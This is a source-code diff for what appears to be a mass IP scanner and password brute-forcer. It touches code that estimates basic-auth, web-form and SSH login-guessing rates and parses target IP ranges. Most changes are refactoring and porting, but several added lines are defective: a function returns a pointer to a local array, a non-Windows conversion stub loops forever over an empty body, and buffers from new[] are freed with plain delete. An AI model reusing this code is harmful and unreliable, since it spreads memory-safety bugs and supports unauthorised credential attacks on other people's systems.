ZeroMemory(saveStr, sizeof(saveStr)); - - strcpy(saveStr, "[TIMEOUT]:"); - ZeroMemory(tb, 16); - strcat(saveStr, itoa(gTimeOut, tb, 10)); - strcat(saveStr, "\n"); + + sprintf(saveStr, "[TIMEOUT]: %d\n", gTimeOut); strcat(saveBuffer, saveStr); ZeroMemory(saveStr, sizeof(saveStr)); - - strcpy(saveStr, "[MAXBTHR]:"); - ZeroMemory(tb, 16); - strcat(saveStr, itoa(gMaxBrutingThreads, tb, 10)); - strcat(saveStr, "\n"); + + sprintf(saveStr, "[MAXBTHR]: %d\n", gMaxBrutingThreads); strcat(saveBuffer, saveStr); ZeroMemory(saveStr, sizeof(saveStr)); @@ -377,7 +378,7 @@ void _saver() __savingBackUpFile = false; Sleep(10000); }; -}; +} #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) void _timer() @@ -786,7 +787,7 @@ void *_tracker() }; trackAlreadyGoing = false; }; -}; +} unsigned long int numOfIps(int ipsstart[], int ipsend[]) { @@ -801,7 +802,8 @@ unsigned long int numOfIps(int ipsstart[], int ipsend[]) //unsigned long gTargets = ip2 - ip1; return gTargets; -}; +} + //#include //#include //#include @@ -894,7 +896,8 @@ void *_connect(void* ss) }; ConDec(); -}; +} + void targetAndIPWriter(unsigned long int target, char *buff) { char curIPBuff[256] = {0}, targetNPers[32] = {0}, dbuffer[32] = {0}; @@ -917,7 +920,8 @@ void targetAndIPWriter(unsigned long int target, char *buff) stt->doEmitionIPRANGE(QString(curIPBuff)); stt->doEmitionTargetsLeft(QString(targetNPers)); -}; +} + void _passLoginFapper() { MaxLogin = 0; @@ -1136,7 +1140,8 @@ void _passLoginFapper() stt->doEmitionYellowFoundData("BA: ~" + QString(std::to_string(MaxLogin * MaxPass/gTimeOut/60).c_str()) + "; WF: ~" + QString(std::to_string(MaxWFLogin * MaxWFPass/gTimeOut/60).c_str()) + "; SSH: ~" + QString(std::to_string(MaxSSHPass/gTimeOut/60).c_str())); -}; +} + void ReadUTF8(FILE* nFile, char *cp) { char buffFG[256] = {0}; @@ -1201,7 +1206,11 @@ void ReadUTF8(FILE* nFile, char *cp) if(strstr((char*)buffFG, "\n") != 0) { - std::string res = xcode(buffFG, CP_UTF8, CP_ACP); + std::string res; +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + res = xcode(buffFG, CP_UTF8, CP_ACP); +#else +#endif int sz = res.size(); GlobalNegatives[i] = new char[sz + 1]; ZeroMemory(GlobalNegatives[i], sizeof(GlobalNegatives[i])); @@ -1211,7 +1220,11 @@ void ReadUTF8(FILE* nFile, char *cp) } else { - std::string res = xcode(buffFG, CP_UTF8, CP_ACP); + std::string res; +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + res = xcode(buffFG, CP_UTF8, CP_ACP); +#else +#endif int sz = res.size(); GlobalNegatives[i] = new char[sz + 1]; ZeroMemory(GlobalNegatives[i], sizeof(GlobalNegatives[i])); @@ -1222,7 +1235,7 @@ void ReadUTF8(FILE* nFile, char *cp) unsigned char buffcpy2[256] = {0}; int sz = strlen((char*)buffFG); -#ifdef WIN32 +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) strncpy((char*)buffcpy2, xcode(buffFG, CP_ACP, CP_UTF8).c_str(), sz); #else strncpy((char*)buffcpy2, buffFG, sz); @@ -1246,23 +1259,48 @@ void ReadUTF8(FILE* nFile, char *cp) }; } -#ifdef WIN32 + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) +unsigned char* ASCIItoUNICODE (unsigned char ch) +{ + unsigned char Val[2]; + if ((ch < 192)&&(ch != 168)&&(ch != 184)) {Val[0] = 0; Val[1] = ch; return Val;} + if (ch == 168) {Val[0] = 208; Val[1] = 129; return Val;} + if (ch == 184) {Val[0] = 209; Val[1] = 145; return Val;} + if (ch < 240) {Val[0] = 208; Val[1] = ch-48; return Val;} + if (ch < 249) {Val[0] = 209; Val[1] = ch-112; return Val;} +} +#endif + std::string xcode(LPCSTR src, UINT srcCodePage, UINT dstCodePage) { + std::string res; +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) int wsize = MultiByteToWideChar(srcCodePage, 0, src, -1, 0, 0); LPWSTR wbuf = (LPWSTR)new char[wsize * sizeof(WCHAR)]; MultiByteToWideChar(srcCodePage, 0, src, -1, wbuf, wsize); int size = WideCharToMultiByte(dstCodePage, 0, wbuf, -1, 0, 0, 0, 0); char * buf = (char *)new char[size]; WideCharToMultiByte(dstCodePage, 0, wbuf, -1, buf, size, 0, 0); - delete [] wbuf; - - std::string res; + delete wbuf; + res.append(buf); - delete [] buf; + delete buf; +#else + unsigned int size = 0; + while (src[size++]!=0); + char * buf = (char *)new char[size]; + unsigned char uni[16] = {0}; + + size=0; + while (src[size]!=0) + { + + }; + delete buf; +#endif return res; } -#endif void _NegativeFapper() { FILE *nFile = fopen("negatives.txt", "rb"); @@ -1283,7 +1321,8 @@ void _NegativeFapper() ReadUTF8(nFile, "1251"); }; } -}; +} + void CheckMaskBits(char *res, int index) { char *bitsStr = strstr(res, "/"); @@ -1346,7 +1385,8 @@ void CheckMaskBits(char *res, int index) stt->doEmitionKillSttThread(); }; -}; +} + void GetOctets(char *curIP) { char *str1; @@ -1426,7 +1466,8 @@ void GetOctets(char *curIP) octet[3] = atoi(temp); return; }; -}; +} + int fInit(int InitMode, char *gR) { strcpy(metaRange, gR); @@ -1603,7 +1644,8 @@ int fInit(int InitMode, char *gR) targets = numOfIps(ipsstart, ipsend); }; -}; +} + void FileLoader(char *str) { char res[256] = {0}; @@ -1847,7 +1889,8 @@ void FileLoader(char *str) { stt->doEmitionRedFoundData("[IP Loader] Cannot open IP list."); }; -}; +} + char *GetCIDRRangeStr(char *str) { char result[128] = {0}; @@ -1915,37 +1958,62 @@ char *GetCIDRRangeStr(char *str) mOctet[3] = 0; }; - strcpy(start, itoa(octet[0]&mOctet[0], buff, 10)); - strcat(start, "."); - strcat(start, itoa(octet[1]&mOctet[1], buff, 10)); - strcat(start, "."); - strcat(start, itoa(octet[2]&mOctet[2], buff, 10)); - strcat(start, "."); - strcat(start, itoa(octet[3]&mOctet[3], buff, 10)); - - unsigned char tempRes = 0; - if(mOctet[0] == 255) tempRes = octet[0]; - else tempRes = octet[0]|~mOctet[0]; - strcat(end, itoa(tempRes, buff, 10)); - strcat(end, "."); - if(mOctet[1] == 255) tempRes = octet[1]; - else tempRes = octet[1]|~mOctet[1]; - strcat(end, itoa(tempRes, buff, 10)); - strcat(end, "."); - if(mOctet[2] == 255) tempRes = octet[2]; - else tempRes = octet[2]|~mOctet[2]; - strcat(end, itoa(tempRes, buff, 10)); - strcat(end, "."); - if(mOctet[3] == 255) tempRes = octet[3]; - else tempRes = octet[3]|~mOctet[3]; - strcat(end, itoa(tempRes, buff, 10)); + + sprintf(start, "%d.%d.%d.%d", octet[0]&mOctet[0], + octet[1]&mOctet[1], + octet[2]&mOctet[2], + octet[3]&mOctet[3]); + +// strcpy(start, itoa(octet[0]&mOctet[0], buff, 10)); +// strcat(start, "."); +// strcat(start, itoa(octet[1]&mOctet[1], buff, 10)); +// strcat(start, "."); +// strcat(start, itoa(octet[2]&mOctet[2], buff, 10)); +// strcat(start, "."); +// strcat(start, itoa(octet[3]&mOctet[3], buff, 10)); + + unsigned char tempRes0 = 0; + unsigned char tempRes1 = 0; + unsigned char tempRes2 = 0; + unsigned char tempRes3 = 0; + + if(mOctet[0] == 255) tempRes0 = octet[0]; + else tempRes0 = octet[0]|~mOctet[0]; + if(mOctet[1] == 255) tempRes1 = octet[1]; + else tempRes1 = octet[1]|~mOctet[1]; + if(mOctet[2] == 255) tempRes2 = octet[2]; + else tempRes2 = octet[2]|~mOctet[2]; + if(mOctet[3] == 255) tempRes3 = octet[3]; + else tempRes3 = octet[3]|~mOctet[3]; + + sprintf(end, "%d.%d.%d.%d", tempRes0, + tempRes1, + tempRes2, + tempRes3); + +// if(mOctet[0] == 255) tempRes = octet[0]; +// else tempRes = octet[0]|~mOctet[0]; +// strcat(end, itoa(tempRes, buff, 10)); +// strcat(end, "."); +// if(mOctet[1] == 255) tempRes = octet[1]; +// else tempRes = octet[1]|~mOctet[1]; +// strcat(end, itoa(tempRes, buff, 10)); +// strcat(end, "."); +// if(mOctet[2] == 255) tempRes = octet[2]; +// else tempRes = octet[2]|~mOctet[2]; +// strcat(end, itoa(tempRes, buff, 10)); +// strcat(end, "."); +// if(mOctet[3] == 255) tempRes = octet[3]; +// else tempRes = octet[3]|~mOctet[3]; +// strcat(end, itoa(tempRes, buff, 10)); strcpy(result, start); strcat(result, "-"); strcat(result, end); return result; -}; +} + int ParseArgs(int argc, char *argv[]) { int s = 0; @@ -2115,7 +2183,7 @@ int ParseArgs(int argc, char *argv[]) delete[] argString; return 0; -}; +} char charAll[38] = {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', @@ -2130,7 +2198,8 @@ int _getPos(char l) if(l == charAll[i]) return i; }; return -1; -}; +} + int _getChunkCount(char *data) { int firstPos = _getPos(data[1]); @@ -2227,7 +2296,7 @@ int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder) Sleep(gThreadDelay); }; -}; +} int startScan(char* args) { @@ -2817,7 +2886,7 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); stt->doEmitionChangeStatus("Idle"); stt->doEmitionKillSttThread(); -}; +} void nCleanup(){ if(loginLst != NULL) @@ -2878,4 +2947,4 @@ void nCleanup(){ delete []starterIP; starterIP = NULL; }; -} \ No newline at end of file +}